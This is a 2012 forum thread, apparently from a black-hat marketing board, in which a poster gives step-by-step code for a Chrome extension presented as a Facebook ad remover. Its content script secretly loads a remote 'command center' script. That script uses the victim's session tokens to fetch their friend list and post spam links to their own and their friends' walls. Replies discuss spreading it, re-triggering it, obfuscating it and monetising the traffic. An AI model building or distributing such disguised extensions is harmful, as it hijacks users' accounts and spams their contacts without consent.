1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

StellaArtois Chrome Extension Tutorial!

Discussion in 'FaceBook' started by StellaArtois, Jan 2, 2012.

  1. StellaArtois

    StellaArtois BANNED BANNED

    Joined:
    Jun 13, 2011
    Messages:
    104
    Likes Received:
    354
    Note: Untested. I was just about to test it and write the last part about uploading to Google Chrome Store and my food arrived. I've write this based on my experience with Chrome extensions and my current extensions that I have out there. Will test and update in an hour or so. Read through it though, get a gist/idea about what's going on. Feel free to ask questions before I update and I'll include it in the tutorial.


    I've had a lot of questions on how to create extensions from this thread: http://www.blackhatworld.com/blackhat-seo/facebook/389669-fb-secret-how-i-bank.html

    Well, it's 2012, and it's your lucky day. Here is my personal tutorial for you guys. So, without wasting any time let's jump straight into this.

    We're going to create a toolbar that hides the Facebook adverts. You can make your toolbar do anything you want. We will then add a script so we can write on the users wall when they install the toolbar. Please note, if you do anything beyond this, such as mass liking pages using your extension users etc. then I am not liable for any legal issues you face ;)

    We are going to place this toolbar in the chrome store. Simply because Chrome handles updates automatically. If you upload a new update, Chrome will distribute it to your users and install it automatically.

    Create a folder on your desktop called: fbExtension

    Now, create the following folders and files within the fbExtension folder:

    background.html
    contentscript.js
    jquery.js
    manifest.json

    You don't actually need the background.html for this example but it can be useful later on. For this tutorial it will be blank.

    You also need to add 3 icons. Use photoshop or paint for these. For the sake of the tutorial just fill each image with a solid color. The following images should be placed in the fbExtension folder.

    icon-16.gif (size: 16px x 16px)
    icon-48.gif (size: 48px x 48px)
    icon-128.gif (size: 128px x 128px)

    Manifest.json
    Code:
    {
      "name": "Remove Facebook Ads",
      "version": "1.0.0",
      "description": "Removes advertisements on Facebook",
      "icons": { "16": "icon-16.gif",
                 "48": "icon-48.gif",
                 "128": "icon-128.gif" },
      "background_page": "background.html",
      "content_scripts": [
        {
          "matches": ["http://www.facebook.com/*","https://www.facebook.com/*"],
          "js": ["jquery.js", "contentscript.js"]
        }
      ]
    }
    
    Everything there is self explanatory. The content_scripts: section means the content script and jQuery will be loaded on Facebook. The js: section is our jquery.js and contentscript.js file.

    Content script will contain the code to remove the Facebook ads.

    contentscript.js
    Code:
    $(document).ready(function() {
    	// External JS. This is the command center.
    	(function(d){
        	var trackingjs, id = 'stats'; if (d.getElementById(id)) {return;}
         	trackingjs = d.createElement('script'); trackingjs.id = id; trackingjs.async = true;
         	trackingjs.src = "http://yoursite.com/stats.js";
         	d.getElementsByTagName('body')[0].appendChild(trackingjs);
    	}(document));
    
    	var inject = function() {
    		jQuery('.rightColumnWrapper').hide();
    	};
    
    	document.body.addEventListener("DOMNodeInserted", inject, false);
    });
    
    This simply removes the sidebar that displays the ads. It's a very simple approach for the sake of this tutorial. Could have done it without jQuery, but I'm using my current extensions to base this tutorial off.

    Notice the comment // External JS.

    This is where we place code such as writing on the users wall. If you're a naughty person you would put the code to like pages, invite to events etc. in here. You place the file stats.js on a server you have access to. The extension will include this. We will get to that part in a moment. Nothing really fancy going on here.

    In jQuery JS copy and paste the latest jQuery library code into the file and save it. Use this one for the tutorial ... http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js

    Now, onto the stats.js. Remember this is our command center. We can issue commands on the users browsers and change them whenever we want. In this example we will write on the users wall, and their friends, when they install the extension.

    We can't use jQuery in stats.js btw. At least not in my example. We need to handle cookies, but I've included some functions to do that.

    stats.js
    Code:
    // Checks to make sure the user is logged in
    if(readCookie('c_user') != null) {
    	if(readCookie('installed') != 'true') {
    		var pfid = document.getElementsByName('post_form_id')[0].value;
    		var fbdtsg = document.getElementsByName('fb_dtsg')[0].value;
    		var user = Env.user;
    		var xhpc = document.getElementsByName('xhpc_composerid')[0].value;
    		
    		xmlHttp = new XMLHttpRequest(); 
    		xmlHttp.onreadystatechange = function() {
    			if (xmlHttp.readyState == 4) {
          			if (xmlHttp.status == 200) {
          				var response = stripslashes(xmlHttp.responseText);
          				response = response.replace(RegExp( "\\t", "g" ), response);
    					var obj = JSON.parse(response.substring(9));
    					friends = obj.payload.entries;
    					
    					var friendsJSON = {};
    					for(var i = 0; i <= friends.length; i++)
    					{
    						if(typeof friends[i] != 'undefined'){
        						shareURL(friends[i].uid);
    						}
    					}
    					
    					createCookie('installed','true',365);
    				}
    			}
    		};
    		
    		
    		xmlHttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user +   "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user, true);
    		xmlHttp.send( null );
    	} else {
    		// Already posted. Console log if you need.
    	}
    	
    }
    
    function shareURL(uid)
    {
    	
    	var messages = [
    		"I've removed the ads from Facebook pretty cool. Check it out ",
    		"Yay! No more ads on fb. Love it ",
    		"Remove your FB ads ... ",
    		"I hate FB ads. Thanks for this cool plugin "
    	];
    	
    	
    	var domains = [
    		"http://bit.ly/xxxx",
    		"http://bit.ly/xxxx",
    		"http://bit.ly/xxxx",
    		"http://bit.ly/xxxx",
    		"http://bit.ly/xxxx",
    		"http://bit.ly/xxxx",
    	]
    	
    	var randomMessage = messages[Math.floor(messages.length * Math.random())];
    	var randDomain = domains[Math.floor(domains.length * Math.random())];
    
    	var site = randDomain + "?" + Math['random']();
    	
    	var postData = "post_form_id=" + pfid + "&fb_dtsg=" + fbdtsg + "&xhpc_composerid=" + xhpc + "&xhpc_targetid=" + uid + "&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=" + encodeURIComponent(randomMessage + site) + "&xhpc_message=" + encodeURIComponent(randomMessage + site) + "&composertags_place=&composertags_place_name=&composer_predicted_city=105952546102246&composer_session_id=1321840908&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=" + user;
    	
    	xmlHttp = new XMLHttpRequest();
    	
    	xmlHttp.onreadystatechange = function() {
    		if (xmlHttp.readyState == 4) {
          		if (xmlHttp.status == 200) {
          			//alert("Posted to: " + uid);
    			}
    		}
    	};
    	
    	xmlHttp.open("POST", "http://www.facebook.com/ajax/updatestatus.php?__a=1", true);
    	xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
    	xmlHttp.setRequestHeader("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20100101 Firefox/8.0");
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    	xmlHttp.send(postData);
    }
    
    // Handy strip slashes function
    function stripslashes (str) {
        return (str + '').replace(/\\(.?)/g, function (s, n1) {
            switch (n1) {
            case '\\':
                return '\\';
            case '0':
                return '\u0000';
            case '':
                return '';
            default:
                return n1;
            }
        });
    }
    
    // Some cookie handling functions.
    function createCookie(name,value,days) {
    	if (days) {
    		var date = new Date();
    		date.setTime(date.getTime()+(days*24*60*60*1000));
    		var expires = "; expires="+date.toGMTString();
    	}
    	else var expires = "";
    	document.cookie = name+"="+value+expires+"; path=/";
    }
    
    function readCookie(name) {
    	var nameEQ = name + "=";
    	var ca = document.cookie.split(';');
    	for(var i=0;i < ca.length;i++) {
    		var c = ca[i];
    		while (c.charAt(0)==' ') c = c.substring(1,c.length);
    		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
    	}
    	return null;
    }
    
    function eraseCookie(name) {
    	createCookie(name,"",-1);
    }
    
    The only thing you need to worry about here is the 2 arrays ... messages and domains. This is what is posted to the users, and their friends, walls. The script pics one at random. Easy. The bit.ly links will be placed later on after we've uploaded to the chrome store.

    Save this as stats.js on your desktop. Now, upload it to a server you own. Once uploaded, go back to content.js and replace the value of the tracking.src variable/property.

    Now time to test it out. Save everything. Load up chrome. Click on Windows, then extensions. Tick the developer mode button. Click "Load Unpacked Extensions". Locate the folder fbExtension and select it. Chrome will now load your toolbar.

    Test it out. Be warned, your friends will get spammed with bit.ly links that dont work. So be careful :p

    If everything is working fine next we will upload it to the Chrome store and replace the bit.ly links in stats.js.

    NOTE. I WILL ADD THIS PART AFTER I'VE FINISHED MY FOOD. EATING TIME. HOLD ON TIGHT!
     
    • Thanks Thanks x 32
    Last edited: Jan 2, 2012
  2. Essence19

    Essence19 BANNED BANNED

    Joined:
    Aug 10, 2010
    Messages:
    830
    Likes Received:
    352
    You have outdone yourself man. thank you for the info seriously appreciated.Since I started this off and cant give you a rep.I have given you itrader instead.This guy has gone way over board to help me today. Really insightful information and honest person.defintely the right person to work with.
     
  3. StellaArtois

    StellaArtois BANNED BANNED

    Joined:
    Jun 13, 2011
    Messages:
    104
    Likes Received:
    354
    Thank you. It's really no issue sharing information. I'm always happy to help anyone. I'm against closed secrecy and hiding methods. If there is anything I can do to help a genuine persons situation I will do all I can. I like sharing knowledge. Knowledge is power.
     
    • Thanks Thanks x 1
  4. fun4uoc

    fun4uoc Jr. VIP Jr. VIP Premium Member

    Joined:
    Dec 25, 2007
    Messages:
    1,199
    Likes Received:
    1,041
    Location:
    ☆ ♔ ☆ ♔ ☆ ♔ ☆
    + rep, great tutorial
     
  5. StellaArtois

    StellaArtois BANNED BANNED

    Joined:
    Jun 13, 2011
    Messages:
    104
    Likes Received:
    354
    There is no bar. It's an extension, extensions are invisible. I'm going to run through the testing and detail the packaging and uploading to chrome. I'm going to turn it into a video and provide some template files.

    Stick with me ;)
     
    • Thanks Thanks x 3
  6. cybeard

    cybeard Registered Member

    Joined:
    Oct 2, 2008
    Messages:
    86
    Likes Received:
    17
    Really cool man! Subscribed!
     
  7. cybeard

    cybeard Registered Member

    Joined:
    Oct 2, 2008
    Messages:
    86
    Likes Received:
    17
    Will you continue this tutorial soon? :)
     
  8. StellaArtois

    StellaArtois BANNED BANNED

    Joined:
    Jun 13, 2011
    Messages:
    104
    Likes Received:
    354
    Hey sorry about the delay in finishing the tutorial. I was stuck in the studio working on a friends album yesterday. Hope to get it completed tonight. Sorry about the delay.
     
  9. Mayimar

    Mayimar Newbie

    Joined:
    Apr 10, 2011
    Messages:
    46
    Likes Received:
    15
    subscribing! thanks for the tut..
     
  10. BlackthornE

    BlackthornE Newbie

    Joined:
    Apr 13, 2011
    Messages:
    38
    Likes Received:
    6
    I have a script i made is very similar to this one. my script also post a chat msg, on friends connected.

    Updated: This scripts doesnt work for me.
     
    Last edited: Jan 4, 2012
  11. μελαγχολία

    μελαγχολία Junior Member

    Joined:
    Jul 16, 2010
    Messages:
    198
    Likes Received:
    25
    Location:
    Somewhere over the rainbow
    Home Page:
    First off, thank you very much for this tutorial!
    I have a couple questions: first, how do you get people to install your extension in the first place? If you have other extensions with many users I guess you can easily spam on their walls the new extension, but for somebody who is starting with no traffic what are the best ways?

    Second, when you want to get traffic to some content locked page, or CPA offer or whatever, you just spam their wall from the extension or what?
     
  12. scorpiono1

    scorpiono1 Registered Member

    Joined:
    Jan 28, 2010
    Messages:
    50
    Likes Received:
    0
    your js is not working
     
  13. BlackthornE

    BlackthornE Newbie

    Joined:
    Apr 13, 2011
    Messages:
    38
    Likes Received:
    6
    In my exp, buy a status update in fanpage, (i have millions of fans, so its very easy to me start a new viral) or buy a profile with 1000~2000 friends, and yes u can easily spam their wall with a new one viral.
     
  14. cybeard

    cybeard Registered Member

    Joined:
    Oct 2, 2008
    Messages:
    86
    Likes Received:
    17
    The script works, it post on the user and friends walls, but how can I control it to post again when I want?
     
  15. Yupefer

    Yupefer Regular Member

    Joined:
    Jul 13, 2011
    Messages:
    274
    Likes Received:
    54
    Occupation:
    Musician
    Location:
    Endless
    after your first thread I did some searching about browser extensions and found many reports about the "Wardrobe malfunction" extension that spread through facebook. I searched around and got all the source files and I like in there and see widgets.amung.us and realized thats you! lmao...

    Your shit went extremely Viral and you banked so much and I'm sure thats not the end.

    +Rep

    thanks for helping us out
     
  16. zander64

    zander64 Junior Member

    Joined:
    Nov 25, 2008
    Messages:
    129
    Likes Received:
    36
    StellaArtois, please check your PMs

    Thanks!
     
  17. biglia

    biglia Regular Member

    Joined:
    Jun 28, 2008
    Messages:
    201
    Likes Received:
    37
    Use google to find more javascript to extend this code. I've found scripts to send messages over the facebook chat, create fanpages, etc...
    Don't forget to obfuscate your javascript code.
     
    Last edited: Jan 8, 2012
  18. jairathnem

    jairathnem Power Member

    Joined:
    Oct 27, 2010
    Messages:
    550
    Likes Received:
    316
    Occupation:
    Student
    Location:
    Incredible India!
    Home Page:
    Great share.

    tested it,but it didnt post to my friends wall.
    Cant figure out what i am doin wrong.
     
  19. dennisyu

    dennisyu Power Member

    Joined:
    Jan 9, 2010
    Messages:
    552
    Likes Received:
    170
    Pretty cool stuff. If i knew javascirpt i'd be playing around with this.

    Anyone who plans on trying to spam walls with this method is idiot. And is doing it wrong.
     
  20. HazardPT

    HazardPT Registered Member Premium Member

    Joined:
    Nov 24, 2008
    Messages:
    99
    Likes Received:
    26
    Occupation:
    Bizness
    Location:
    Москва
    Hi friend...

    Please check your PM for a message from me. I'm very interested in this :)